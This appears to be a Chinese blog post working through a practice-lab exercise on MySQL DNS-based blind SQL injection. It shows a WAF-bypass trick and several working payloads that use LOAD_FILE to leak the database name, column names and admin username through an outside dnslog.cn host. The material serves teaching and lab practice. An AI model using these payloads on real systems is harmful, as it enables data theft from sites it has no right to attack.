封神臺MYSQL 注入 - Dns注入

炎凰先生發表於2020-10-05

一、原理

DNSLOG的使用場景:

在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起請求,這個時候就可以通過DNS請求把想獲得的資料外帶出來。
對於sql盲注,常見的方法就是二分法去一個個猜,但是這樣的方法麻煩不說,還很容易因為資料請求頻繁導致被ban。
所以可以將select到的資料傳送給一個url,利用dns解析產生的記錄日誌來檢視資料。

LOAD_FILE()讀取檔案的函式

讀取檔案並返回檔案內容為字串。要使用此函式,檔案必須位於伺服器主機上,必須指定完整路徑的檔案,而且必須有FILE許可權。 該檔案所有位元組可讀,但檔案內容必須小於max_allowed_packet(限制server接受的資料包大小函式,預設1MB)。 如果該檔案不存在或無法讀取,因為前面的條件之一不滿足,函式返回 NULL。

二、作業

MYSQL 注入 - Dns注入 (Rank: 20)

  1. 首先我們可以隨便嘗試下是否存在注入:?id=1 and 1=1
    發現被攔截

  2. 要想辦法繞過防火牆,試下輸入:http://59.63.200.79:8014/index3.php/1.txt?id=1 and 1=2
    如下圖:發現能正常顯示頁面
    apache遇到不存在的看不懂的東西會往前去讀取,而安全狗認為1.txt對他沒有威脅那我們利用這點進行注入;

  3. 第一步在dnslog平臺上獲取一個域名;

  4. 利用 load_file函式讀取檔案內容
    試下獲取庫名:59.63.200.79:8014/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select database()),’.805pij.dnslog.cn/abc’)));
    如下圖:庫名為:mangzhu

  5. 欄位名:59.63.200.79:8014/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select column_name from information_schema.columns where table_schema=database() limit 0,1),’.805pij.dnslog.cn/abc’)));
    如下圖:經過多次測試獲取了id,username,password

  6. flag:59.63.200.79:8014/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select username from admin limit 0,1),’.805pij.dnslog.cn/abc’)));
    如下圖:獲取了1flag1good1

  7. 提交1flag1good1,完成。

相關文章